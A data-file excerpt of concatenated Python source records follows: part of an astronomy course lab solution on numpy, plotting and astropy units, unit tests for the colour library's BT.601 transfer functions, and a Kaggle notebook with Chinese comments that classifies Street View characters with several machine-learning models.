it, we love it. \n# \n# ```{admonition} Takeaway Point\n# The takeaway from this lesson should be that anytime we can do something without a loop... WE SHOULD.\n# ```\n# \n# \n\n# ## Question 6\n# \n# Often in astronomy we need to work with grids of values. For example, let's say we have a model that describes some data, and the model has 2 parameters, $a$ and $b$.\n# \n# We might choose different combinations of $a$ and $b$, and determine a metric for how well models of such combinations fit our data (e.g., $\\chi^2$). \n# \n# We may then want to plot this $\\chi^2$ value for each point on our grid -- that is, at each grid position corresponding to some $a_i$ and $b_j$. \n# \n# Below, I provide a function, `chi2`, which returns a single number given some singular inputs `a` and `b`. \n# \n# Create some arrays of `a` and `b` to test that range between 1 and 25, and have 10 entries evenly spaced between those values. Then, loop over them and find the $\\chi^2$ using my function. \n# ```{note}\n# We can't get around the double loop in this case, because we are operating under the assumption that the calculation of some single $\\chi^2$ using a unique combination of $a_i$ and $b_j$ cannot be vectorized. If it could, we wouldn't need to do this activity. But often, we can't, because the creation of a model given some inputs is nontrivial.\n# ```\n# \n# Once you've stored the $\\chi^2$ values for each combination of $a$ and $b$, create a plot with $a$ and $b$ as the axes and show using colored circles the $\\chi^2$ value at each location. Add a colorbar to see the values being plotted. \n# \n# To create this grid, use the `np.meshgrid()` function. For your plot, make sure the marker size is big enough to see the colors well. \n# \n# \n# \n# \n\n# In[151]:\n\n\ndef chi2(a,b):\n    return ((15-a)**2+(12-b)**2)**0.2 #note, this is nonsense, but should return a different value for each input a,b\n\n# Solution \na = np.linspace(1,25,10)\nb = np.linspace(1,25,10)\nchi2_values = []\nfor i in a:\n    for j in b:\n        chi2_values.append(chi2(i,j))\n\nchi2_values = np.array(chi2_values)\n\nxx,yy = np.meshgrid(a,b)\n\nfig, ax = plt.subplots(figsize=(12,10))\n\nim = ax.scatter(xx,yy,c=chi2_values,marker='o',s=100)\nplt.colorbar(im);\n\n\n# ## Question 7 \n# \n# Re-show your final plot above, making the following changes:\n# \n# - label your colorbar as $\\chi^2$ using latex notation, with a fontsize>13\n# - Make your ticks point inward and be longer\n# - Make your ticks appear on the top and right hand axes of the plot as well \n# - If you didn't already, label the x and y axes appropriately and with a font size > 13 \n# - Make sure the numbers along the axes have fontsizes > 13\n# \n\n# In[152]:\n\n\nfig, ax = plt.subplots(figsize=(12,10))\n\nim = ax.scatter(xx,yy,c=chi2_values,marker='o',s=100)\nax.tick_params(direction='in',right=True,top=True,length=7,width=1.5,labelsize=14)\nax.set_xlabel(r'parameter $a$',fontsize=15)\nax.set_ylabel(r'parameter $b$',fontsize=15)\ncbar = plt.colorbar(im)\ncbar.set_label(r'model $\\chi^2$',fontsize=14);\n\n\n# ## Question 8\n# \n# Some quick list comprehensions! For any unfamilar, **comprehensions** are pythonic statements that allow you to compress a for-loop (generally) into a single line, and usually runs faster than a full loop (but not by a ton). \n# \n# Take the for-loop below and write it as a list comprehension.\n\n# In[119]:\n\n\nvisited_cities = ['San Diego', 'Boston', 'New York City','Atlanta']\nall_cities = ['San Diego', 'Denver', 'Boston', 'Portland', 'New York City', 'San Francisco', 'Atlanta']\n\nnot_visited = []\nfor city in all_cities:\n    if city not in visited_cities:\n        not_visited.append(city)\n        \nprint(not_visited)\n\n\n# In[121]:\n\n\n# Solution \n\nnot_visited = [i for i in all_cities if i not in visited_cities]\nprint(not_visited)\n\n\n# Next, create an array of integers including 1 through 30, inclusive. Using a comprehension, create a numpy array containing the squared value of only the odd numbers in your original array. (*Hint, remember the modulo operator*)\n\n# In[122]:\n\n\n# Solution \nfull = np.arange(1,31)\nsquared_odds = np.array([i**2 for i in full if i%2!=0])\nprint(squared_odds)\n\n\n# In the next example, you have a list of first names and a list of last names. Use a list comprehension to create an array that is a list of full names (with a space between first and last names). \n\n# In[123]:\n\n\nfirst_names = ['Bob','Samantha','John','Renee']\nlast_names = ['Smith','Bee','Oliver','Carpenter']\n\n# Solution\nfull_names = [i+' '+j for i,j in zip(first_names,last_names)]\nprint(full_names)\n\n\n# ```{admonition} Challenge Problem (worth Extra Credit) \n# I've created new lists that contain strings of the names in the format Lastname,Firstname, with random leading/trailing spaces and terrible capitalizations. Use a list comprehension to make our nice, \"Firstname Lastname\" list again.\n# ```\n\n# In[129]:\n\n\nall_names = ['sMitH,BoB   ', '  bee,samanthA',' oLIVER,JOHN ','  caRPENTer,reneE  ']\n\n# solution \nfull_names = [i.strip().split(',')[1].upper()[0]\n              +i.strip().split(',')[1].lower()[1:]\n              +' '\n              +i.strip().split(',')[0].upper()[0]\n              +i.strip().split(',')[0].lower()[1:]\n              for i in all_names]\nprint(full_names)\n\n\n# ```{note}\n# Note that with this last example, we're entering a degree of single-line length and complexity that it almost doesn't make sense to use a comprehension anymore. Just because something CAN be done in one line doesn't mean is has to be, or should be.\n# \n# ```\n# \n# You may be wondering what use case this type of coding has in astronomy -- turns out, quite a lot. Take this example: you read in a data table and the columns have names like \"FLUX HA\", \"FLUX ERR\", etc. \n# \n# If you're trying to make a `pandas DataFrame` of this table, it is advantageous to rename these columns something like `flux_ha` and `flux_err`. This way, commands like `df.flux_ha` can be used. \n# \n# Being able to iterate over the string list of column names and turn caps into lower case, spaces into underscores, etc., is a useful skill that will come in handy when wrangling data. \n# \n# Below, for reference, I show how I myself would do the above example in production code:\n\n# In[133]:\n\n\ndef clean_csv_string(str_in,sep=',',formatting='LastFirst'):\n    str_stripped = str_in.strip() # remove trailing/leading spaces\n    str_split = str_stripped.split(sep) #split at delimiter\n    str_cap_correct = [i.upper()[0]+i.lower()[1:] for i in str_split]\n    if formatting=='LastFirst':\n        out_string = str_cap_correct[1] + ' ' + str_cap_correct[0]\n        return out_string\n    elif formmatting=='FirstLast':\n        out_string = str_cap_correct[0] + ' ' + str_cap_correct[1]\n        return out_string\n    else:\n        raise ValueError('formatting not set correctly')\n\n\n        \nfull_names = [clean_csv_string(i) for i in all_names]\nprint(full_names)\n\n\n# By making the string cleaning steps a function, I could take the time to explain what is going on within the function, as well as control for additional possibilities (like the names being in First,Last formatting). I could make this function more robust and complex, and my final comprehension stays readable and simple, as I loop over the names and run each through my handy functions (with some settings tweaked, potentially). \n\n# ## Question 9 \n# \n# Take the arrays `XX`, `YY`, and `ZZ` below and create one multidimensional array in which they are the columns. Print to confirm this worked.\n\n# In[131]:\n\n\nXX = np.array([1,2,3,4,5,6,7,8,9])\nYY = np.array([5,6,7,8,9,10,11,12,13])\nZZ = np.array([10,11,12,13,14,15,16,17,18])\n\n#solution\ncols = np.column_stack((XX,YY,ZZ))\ncols\n\n\n# ## Question 10 \n# \n# Units, units, units. The bane of every scientists' existence... except theorists that set every constant equal to 1. \n# \n# In the real world, we measure fluxes or magnitudes in astronomical images, infer temperatures and densities from data and simulations, and ultimately have to deal with units one way or another. \n# \n# Thankfully, our friends at `astropy` know this, and they've come to save the day. This next question serves as an introduction to the `units` module in astropy, which can be both a live saver and a pain in the ass, but at the end of the day is absolutely worth learning.\n\n# In[137]:\n\n\nimport astropy.units as u\n\n\n# The standard import for this library is `u`, so be careful not to name any variables that letter. \n# \n# To \"assign\" units to a variable, we multiply by the desired unit as follows. Note that generally the module knows several aliases/common abrreviations for a unit, if it is uniquely identifiable.\n\n# In[138]:\n\n\nstar_temp = 5000*u.K \nstar_radius = 0.89 * u.Rsun \nstar_mass = 0.6 * u.Msun\n\n\n# We can perform trivial conversions using the `.to()` method.\n\n# In[139]:\n\n\nstar_radius.to(u.km)\n\n\n# Once we attach units to something, it is now a `Quantity` object. Quantity objects are great, above, we saw they have built-in methods to facilitate conversion. They can also be annoying -- sometimes another function we've written needs just the raw value or array back out. To get this, we use the `.value` attribute of a quantity object:\n\n# In[140]:\n\n\nstar_mass.to(u.kg).value\n\n\n# This now strips away all `Quantity` stuff and gives us an array or value to use elsewhere in our code. \n# \n# Units are great because they help us combine quantities while tracking units and dimensional analysis. A common operation in astronomy is converting a flux to a luminosity given a distance, using \n# \n# $$\n# F = \\frac{L}{4\\pi D^2}\n# $$\n# where $L$ is the luminosity and $D$ is the distance to the source. \n# \n# What if I've made a flux measurement in astronomical units such as erg/s/cm$^2$, and I want to know the luminosity in solar luminosities, and my distance happens to be in Mpc? Regardless of my input units, I can easily do this:\n\n# In[141]:\n\n\nL = 4 * np.pi * (3.6*u.Mpc)**2 * (7.5e-14 * u.erg/u.s/u.cm**2)\nL.to(u.Lsun)\n\n\n# This conversion worked because the units worked out. If my units of flux weren't correct, I'd get an error:\n\n# In[142]:\n\n\nL = 4 * np.pi * (3.6*u.Mpc)**2 * (7.5e-14 * u.erg/u.s/u.cm**2/u.AA)\nL.to(u.Lsun)\n\n\n# Here, `units` realized that I was putting in units of flux density, but wanted a luminosity out, and ultimately those units don't resolve out. Thus, it can be a great way to catch errors in your inputs. \n# \n# Note: just be careful that sometimes, you throw a constant into an equation but the constant has some units. If you're going to use the unit module to do a calculation, ALL inputs that HAVE units must be assigned them correctly as above for it to work.\n\n# For your exercise, consider the following: \n#     \n# The virial temperature of a galaxy halo is given roughly by \n# \n# $$\n# T_{\\rm vir} \\simeq 5.6\\times10^4\\;\\textrm{K}\\left(\\frac{\\mu}{0.59}\\right)\\left(\\frac{M_{\\rm halo}}{10^{10}\\; M_{\\odot}}\\right)^{2/3}\\left(\\frac{1+z}{4}\\right)\n# $$\n\n# where here, we can assume $\\mu$ is 0.59. \n# \n# Write a function that takes as an input a halo mass, redshift, and optionally $\\mu$ (default 0.59), and returns the virial temperature in Kelvin. Your function should take in an astropy quantity with mass units, but should allow for the mass to be input with any appropriate units. \n\n# In[144]:\n\n\n# Solution \n\ndef Tvir(M,z,mu=0.59):\n    return ((5.6e4*u.K)*(mu/0.59)*(M/(1e10*u.Msun))**(2/3.)*((1+z)/4)).to(u.K)\n\nTvir(10**11*u.Msun,z=3)\n\n", "meta": {"hexsha": "e5c6d467d49d7d4745dfc25c3cd2112c955c7d4a", "size": 25859, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/Lab1/Lab1_solutions.py", "max_stars_repo_name": "Astro-330/Astro-330.github.io", "max_stars_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-08-28T23:26:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T14:35:17.000Z", "max_issues_repo_path": "_build/jupyter_execute/Lab1/Lab1_solutions.py", "max_issues_repo_name": "mgebran/Astro-330.github.io", "max_issues_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/Lab1/Lab1_solutions.py", "max_forks_repo_name": "mgebran/Astro-330.github.io", "max_forks_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-12-18T00:53:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T14:53:12.000Z", "avg_line_length": 38.7691154423, "max_line_length": 654, "alphanum_fraction": 0.7136780231, "include": true, "reason": "import numpy,import scipy,import astropy", "num_tokens": 6833, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.24508501313237174, "lm_q2_score": 0.34510528442897664, "lm_q1q2_score": 0.08458013316632662}}
{"text": "\"\"\"\nDefines the unit tests for the\n:mod:`colour.models.rgb.transfer_functions.itur_bt_601` module.\n\"\"\"\n\nimport numpy as np\nimport unittest\n\nfrom colour.models.rgb.transfer_functions import oetf_BT601, oetf_inverse_BT601\nfrom colour.utilities import domain_range_scale, ignore_numpy_errors\n\n__author__ = \"Colour Developers\"\n__copyright__ = \"Copyright 2013 Colour Developers\"\n__license__ = \"New BSD License - https://opensource.org/licenses/BSD-3-Clause\"\n__maintainer__ = \"Colour Developers\"\n__email__ = \"colour-developers@colour-science.org\"\n__status__ = \"Production\"\n\n__all__ = [\n    \"TestOetf_BT601\",\n    \"TestOetf_inverse_BT601\",\n]\n\n\nclass TestOetf_BT601(unittest.TestCase):\n    \"\"\"\n    Define :func:`colour.models.rgb.transfer_functions.itur_bt_601.oetf_BT601`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_oetf_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_BT601` definition.\n        \"\"\"\n\n        self.assertAlmostEqual(oetf_BT601(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(oetf_BT601(0.015), 0.067500000000000, places=7)\n\n        self.assertAlmostEqual(oetf_BT601(0.18), 0.409007728864150, places=7)\n\n        self.assertAlmostEqual(oetf_BT601(1.0), 1.0, places=7)\n\n    def test_n_dimensional_oetf_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_BT601` definition n-dimensional arrays support.\n        \"\"\"\n\n        L = 0.18\n        E = oetf_BT601(L)\n\n        L = np.tile(L, 6)\n        E = np.tile(E, 6)\n        np.testing.assert_almost_equal(oetf_BT601(L), E, decimal=7)\n\n        L = np.reshape(L, (2, 3))\n        E = np.reshape(E, (2, 3))\n        np.testing.assert_almost_equal(oetf_BT601(L), E, decimal=7)\n\n        L = np.reshape(L, (2, 3, 1))\n        E = np.reshape(E, (2, 3, 1))\n        np.testing.assert_almost_equal(oetf_BT601(L), E, decimal=7)\n\n    def test_domain_range_scale_oetf_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_BT601` definition domain and range scale support.\n        \"\"\"\n\n        L = 0.18\n        E = oetf_BT601(L)\n\n        d_r = ((\"reference\", 1), (\"1\", 1), (\"100\", 100))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    oetf_BT601(L * factor), E * factor, decimal=7\n                )\n\n    @ignore_numpy_errors\n    def test_nan_oetf_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_BT601` definition nan support.\n        \"\"\"\n\n        oetf_BT601(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nclass TestOetf_inverse_BT601(unittest.TestCase):\n    \"\"\"\n    Define :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_inverse_BT601` definition unit tests methods.\n    \"\"\"\n\n    def test_oetf_inverse_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_inverse_BT601` definition.\n        \"\"\"\n\n        self.assertAlmostEqual(oetf_inverse_BT601(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(\n            oetf_inverse_BT601(0.067500000000000), 0.015, places=7\n        )\n\n        self.assertAlmostEqual(\n            oetf_inverse_BT601(0.409007728864150), 0.18, places=7\n        )\n\n        self.assertAlmostEqual(oetf_inverse_BT601(1.0), 1.0, places=7)\n\n    def test_n_dimensional_oetf_inverse_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_inverse_BT601` definition n-dimensional arrays support.\n        \"\"\"\n\n        E = 0.409007728864150\n        L = oetf_inverse_BT601(E)\n\n        E = np.tile(E, 6)\n        L = np.tile(L, 6)\n        np.testing.assert_almost_equal(oetf_inverse_BT601(E), L, decimal=7)\n\n        E = np.reshape(E, (2, 3))\n        L = np.reshape(L, (2, 3))\n        np.testing.assert_almost_equal(oetf_inverse_BT601(E), L, decimal=7)\n\n        E = np.reshape(E, (2, 3, 1))\n        L = np.reshape(L, (2, 3, 1))\n        np.testing.assert_almost_equal(oetf_inverse_BT601(E), L, decimal=7)\n\n    def test_domain_range_scale_oetf_inverse_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_inverse_BT601` definition domain and range scale support.\n        \"\"\"\n\n        E = 0.409007728864150\n        L = oetf_inverse_BT601(E)\n\n        d_r = ((\"reference\", 1), (\"1\", 1), (\"100\", 100))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    oetf_inverse_BT601(E * factor), L * factor, decimal=7\n                )\n\n    @ignore_numpy_errors\n    def test_nan_oetf_inverse_BT601(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.itur_bt_601.\\\noetf_inverse_BT601` definition nan support.\n        \"\"\"\n\n        oetf_inverse_BT601(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "d9a071a22af65a9bfee9c9480983beb31edc5f8c", "size": 4975, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/models/rgb/transfer_functions/tests/test_itur_bt_601.py", "max_stars_repo_name": "aurelienpierre/colour", "max_stars_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "colour/models/rgb/transfer_functions/tests/test_itur_bt_601.py", "max_issues_repo_name": "aurelienpierre/colour", "max_issues_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/models/rgb/transfer_functions/tests/test_itur_bt_601.py", "max_forks_repo_name": "aurelienpierre/colour", "max_forks_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.1515151515, "max_line_length": 79, "alphanum_fraction": 0.6404020101, "include": true, "reason": "import numpy", "num_tokens": 1384, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.17553806931030444, "lm_q1q2_score": 0.08434229948929696}}
{"text": "\n# coding: utf-8\n\n# ## \u8bc6\u522b\u8c37\u6b4c\u8857\u666f\u56fe\u7247\u4e2d\u7684\u5b57\u6bcd\n# \n# [street-view-getting-started-with-julia](https://www.kaggle.com/c/street-view-getting-started-with-julia) \u8ba9\u6211\u4eec\u4ece\u8c37\u6b4c\u8857\u666f\u7684\u56fe\u7247\u4e2d\u9274\u5b9a\u5b57\u6bcd\uff0c\u8fd9\u4e2a\u9898\u76ee\u662f\u8ba9\u6211\u4eec\u5b66\u4e60\u548c\u4f7f\u7528Julia\uff0cJulia\u6709python\u548cR\u7684\u6613\u7528\u6027\uff0c\u6709C\u8bed\u8a00\u7684\u901f\u5ea6\uff0c\u65e0\u5948\u5bf9Julia\u4e0d\u662f\u5f88\u719f\u6089\uff0c\u6240\u4ee5\u8fd8\u662f\u60f3\u7528python\u6765\u8bd5\u8bd5\u3002\n\n# In[1]:\n\nimport cv2\nimport numpy as np\nimport sys\nimport pandas as pd\n\n\n# \u6211\u4eec\u5e0c\u671b\u6240\u6709\u7684\u56fe\u7247\u6700\u540e\u5b58\u50a8\u5728\u4e00\u4e2anumpy\u7684\u77e9\u9635\u5f53\u4e2d\uff0c\u6bcf\u4e00\u884c\u4e3a\u56fe\u7247\u7684\u50cf\u7d20\u503c\u3002\u4e3a\u4e86\u5f97\u5230\u7edf\u4e00\u7684\u8868\u8fbe\u5462\uff0c\u6211\u4eec\u5c06RGB\u4e09\u4e2a\u901a\u9053\u7684\u503c\u505a\u5e73\u5747\u5f97\u5230\u7684\u7070\u5ea6\u56fe\u50cf\u4f5c\u4e3a\u6bcf\u4e2a\u56fe\u7247\u7684\u8868\u793a:\n\n# In[14]:\n\n# typeData \u4e3a\"train\"\u6216\u8005\"test\"\n# labelsInfo \u5305\u542b\u6bcf\u4e00\u4e2a\u56fe\u7247\u7684ID\n# \u56fe\u7247\u5b58\u50a8\u5728trainResized\u548ctestResized\u6587\u4ef6\u5939\u5185\ndef read_data(typeData, labelsInfo, imageSize):\n    labelsIndex = labelsInfo[\"ID\"]\n    x = np.zeros((np.size(labelsIndex), imageSize))\n    for idx, idImage in enumerate(labelsIndex):\n        # \u5f97\u5230\u56fe\u7247\u6587\u4ef6\u540d\u5e76\u8bfb\u53d6\n        nameFile = typeData + \"Resized/\" + str(idImage) + \".Bmp\"\n        img = cv2.imread(nameFile)\n        # \u8f6c\u5316\u4e3a\u7070\u5ea6\u56fe\n        temp = np.mean(img, 2)\n        # \u5c06\u56fe\u7247\u8f6c\u5316\u4e3a\u884c\u5411\u91cf\n        x[idx, :] = np.reshape(temp, (1, imageSize))\n    return x\n\n\n# ### \u9884\u5904\u7406\u8bad\u7ec3\u96c6\u548c\u6d4b\u8bd5\u96c6\n\n# In[15]:\n\nimageSize = 400\ntrainlabels = pd.read_csv(\"trainLabels.csv\")\ntestlabels = pd.read_csv(\"sampleSubmission.csv\")\n# \u5f97\u5230\u8bad\u7ec3\u96c6\u7684\u7279\u5f81\nxTrain = read_data('train', trainlabels, imageSize)\n# \u5f97\u5230\u6d4b\u8bd5\u96c6\u7684\u7279\u5f81\nxTest = read_data(\"test\", testlabels, imageSize)\n\n\n# #### \u9884\u89c8\u6570\u636e\uff1a\n\n# In[19]:\n\nprint trainlabels.head(2)\nprint testlabels.head(2)\n\n\n# In[20]:\n\nyTrain = trainlabels[\"Class\"]\nyTrain = [ord(x) for x in yTrain]\n\n\n# ## \u6a21\u578b\u8bad\u7ec3\n# \n# ### \u968f\u673a\u68ee\u6797\n# \n# \u4f7f\u7528\u968f\u673a\u68ee\u6797\u8fdb\u884c\u8bad\u7ec3\uff0c\u6811\u7684\u4e2a\u6570\u548c\u6df1\u5ea6\u9700\u8981\u591a\u6b21\u8c03\u89e3\u5bfb\u6c42\u6700\u4f73\u503c\n\n# In[37]:\n\nfrom sklearn.ensemble import RandomForestClassifier\nget_ipython().magic(u'time rfc = RandomForestClassifier(n_estimators = 500, max_features = 50, max_depth=None)')\nrfc.fit(xTrain, yTrain)\n\n\n# #### \u9884\u6d4b\n# \u5c06\u8bad\u7ec3\u540e\u7684\u6a21\u578b\u5e94\u7528\u5230\u6d4b\u8bd5\u96c6\u4e0a\uff0c\u5e76\u4fdd\u5b58\u7ed3\u679c\uff1a\n\n# In[31]:\n\npredTest = rfc.predict(xTest)\npredResult = [chr(x) for x in predTest]\ntestlabels[\"Class\"] = predResult\ntestlabels.to_csv(\"rf_500_50_result.csv\",index = None)\n\n\n# #### \u7ed3\u679c\n# \u4f7f\u752850\u9897\u6811\u8fdb\u884c\u8bad\u7ec3\uff0c\u63d0\u4ea4kaggle\u4e4b\u540e\u51c6\u786e\u7387\u7ea6\u4e3a0.40  \n# \u6539\u7528300\u9897\u6811\u8fdb\u884c\u8bad\u7ec3\uff0c\u63d0\u4ea4kaggle\u4e4b\u540e\u51c6\u786e\u7387\u4e3a0.46695  \n# \u6539\u7528500\u9897\u6811\u8fdb\u884c\u8bad\u7ec3\uff0c\u6df1\u5ea6\u4e3a10\uff0c\u63d0\u4ef7kaggle\u540e\u51c6\u786e\u7387\u4e3a0.40\uff0c\u4f30\u8ba1\u51fa\u73b0\u4e86\u8fc7\u62df\u5408  \n# \u6539\u7528500\u9897\u6811\u8fdb\u884c\u8bad\u7ec3\uff0c\u4e0d\u8bbe\u7f6e\u6df1\u5ea6\uff0c\u63d0\u4ef7kaggle\u540e\u51c6\u786e\u7387\u4e3a0.47480  \n\n# ### \u8d1d\u53f6\u65af\n\n# In[27]:\n\nfrom sklearn.naive_bayes import GaussianNB as GNB\nmodel_GNB = GNB()\nmodel_GNB.fit(xTrain, yTrain)\n\npredTest = model_GNB.predict(xTest)\npredResult = [chr(x) for x in predTest]\ntestlabels[\"Class\"] = predResult\ntestlabels.to_csv(\"gnb_result.csv\",index = None)\n\n\n# \u8d1d\u53f6\u65af\u7684\u8bad\u7ec3\u975e\u5e38\u7684\u5feb\uff0c\u628a\u7ed3\u679c\u63d0\u4ea4kaggle\u540e\uff0c\u5f97\u52300.02389\u7684\u51c6\u786e\u7387\uff0c\u660e\u663e\u4f4e\u4e8e\u968f\u673a\u68ee\u6797\n\n# ### GBDT\n\n# In[36]:\n\nfrom sklearn.ensemble import GradientBoostingClassifier\nget_ipython().magic(u\"time GBDT = GradientBoostingClassifier(loss='deviance', learning_rate=0.1, n_estimators=100, subsample=1.0,                         min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0.0, max_depth=3, init=None,                         random_state=None, max_features=None, verbose=0, max_leaf_nodes=None, warm_start=False, presort='auto')\")\n\nget_ipython().magic(u'time GBDT.fit(xTrain, yTrain)')\n\nget_ipython().magic(u'time predTest = GBDT.predict(xTest)')\npredResult = [chr(x) for x in predTest]\ntestlabels[\"Class\"] = predResult\ntestlabels.to_csv(\"gbdt_result.csv\",index = None)\n\n\n# \u4f7f\u7528GBDT\u4ec5\u5f97\u5230\u4e860.31937\u7684\u51c6\u786e\u7387\uff0c\u53ef\u80fd\u662f\u6211\u7684\u9ed8\u8ba4\u53c2\u6570\u6ca1\u6709\u8c03\u8282\u597d\uff0c\u5173\u952e\u662fGBDT\u7684\u8bad\u7ec3\u65f6\u95f4\u592a\u957f\uff0c\u8c03\u8bd5\u6210\u672c\u4e5f\u6bd4\u8f83\u9ad8\n\n# ### \u795e\u7ecf\u7f51\u7edc\n\n# In[40]:\n\nimport os\nfrom skimage.io import imread\nfrom lasagne import layers\nfrom lasagne.nonlinearities import softmax\nfrom nolearn.lasagne import NeuralNet, BatchIterator\n\n\n# In[44]:\n\n# Define functions\ndef read_datax(typeData, labelsInfo, imageSize, path):\n    x = np.zeros((labelsInfo.shape[0], imageSize))\n    \n    for (index, idImage) in enumerate(labelsInfo['ID']):\n        # use specially created 32 x 32 images\n        nameFile = '{0}/{1}Resized32/{2}.Bmp'.format(path, \n                    typeData, idImage)\n        img = imread(nameFile, as_grey = True)\n        \n        x[index, :] = np.reshape(img, (1, imageSize))\n        \n    return x\n\ndef fit_model(reshaped_train_x, y, image_width, \n                    image_height, reshaped_test_x):\n    net = NeuralNet(\n        layers = [\n            ('input', layers.InputLayer),\n            ('conv1', layers.Conv2DLayer),\n            ('pool1', layers.MaxPool2DLayer),\n            ('dropout1', layers.DropoutLayer),\n            ('conv2', layers.Conv2DLayer),\n            ('pool2', layers.MaxPool2DLayer),\n            ('dropout2', layers.DropoutLayer),\n            ('conv3', layers.Conv2DLayer),\n            ('hidden4', layers.DenseLayer),\n            ('output', layers.DenseLayer),\n        ],\n        input_shape = (None, 1, 32, 32),\n        conv1_num_filters=32, conv1_filter_size=(5, 5), \n        pool1_pool_size=(2, 2),\n        dropout1_p=0.2,\n        conv2_num_filters=64, conv2_filter_size=(5, 5), \n        pool2_pool_size=(2, 2),\n        dropout2_p=0.2,\n        conv3_num_filters = 128, conv3_filter_size = (5, 5),\n        hidden4_num_units=500,\n        output_num_units = 62, output_nonlinearity = softmax,\n        \n        update_learning_rate = 0.01,\n        update_momentum = 0.9,\n        \n        batch_iterator_train = BatchIterator(batch_size = 100),\n        batch_iterator_test = BatchIterator(batch_size = 100),\n        \n        use_label_encoder = True,\n        regression = False,\n        max_epochs = 100,\n        verbose = 1,\n    )\n    \n    net.fit(reshaped_train_x, y)\n    prediction = net.predict(reshaped_test_x)\n    \n    return prediction\n\n\n# In[45]:\n\n# \u9884\u5904\u7406\u6570\u636e\uff0c\u9996\u5148\u5c06\u56fe\u7247\u4fdd\u5b58\u4e3a32*32\u7684\u5c0f\u56fe\u7247\nimageSize = 1024 # 32 x 32\nimage_width = image_height = int(imageSize ** 0.5)\n\nlabelsInfoTrain = pd.read_csv            ('trainLabels.csv'.format(path))\nlabelsInfoTest = pd.read_csv            ('sampleSubmission.csv'.format(path))\n\n# Load dataset\nnnxTrain = read_datax('train', labelsInfoTrain, imageSize, '.')\nnnxTest = read_datax('test', labelsInfoTest, imageSize, '.')\n\nnnyTrain = map(ord, labelsInfoTrain['Class'])\nnnyTrain = np.array(yTrain)\n\n\n# In[46]:\n\n# \u5f52\u4e00\u5316\u6570\u636e\nnnxTrain /= nnxTrain.std(axis = None)\nnnxTrain -= nnxTrain.mean()\n\nnnxTest /= nnxTest.std(axis = None)\nnnxTest -= nnxTest.mean()\n\n\n# In[47]:\n\n# Reshape data\ntrain_x_reshaped = nnxTrain.reshape(nnxTrain.shape[0], 1, \n                  image_height, image_width).astype('float32')\ntest_x_reshaped = nnxTest.reshape(nnxTest.shape[0], 1, \n                  image_height, image_width).astype('float32')\n\n\n# In[54]:\n\n# \u8fdb\u884c\u8bad\u7ec3\u548c\u6d4b\u8bd5\npredict = fit_model(train_x_reshaped, nnyTrain, image_width, image_height, test_x_reshaped)\n\n\n# In[55]:\n\n# \u4fdd\u5b58\u7ed3\u679c\nyTest = map(chr, predict)\nlabelsInfoTest['Class'] = yTest\nlabelsInfoTest.to_csv('nnresult.csv'.format(path), index = False)\n\n\n# \u63d0\u4ea4kaggle\u4e4b\u540e\u7684\u51c6\u786e\u7387\uff1a0.64562\n", "meta": {"hexsha": "2de2c127ff85bc874a0f20bfae03a02d2d31d0c3", "size": 6417, "ext": "py", "lang": "Python", "max_stars_repo_path": "competitions/image_recognize/image_recognize.py", "max_stars_repo_name": "gamersgod/kaggle", "max_stars_repo_head_hexsha": "d4c8d813ab0b2c68aa86df275250d0882a31a8d8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 64, 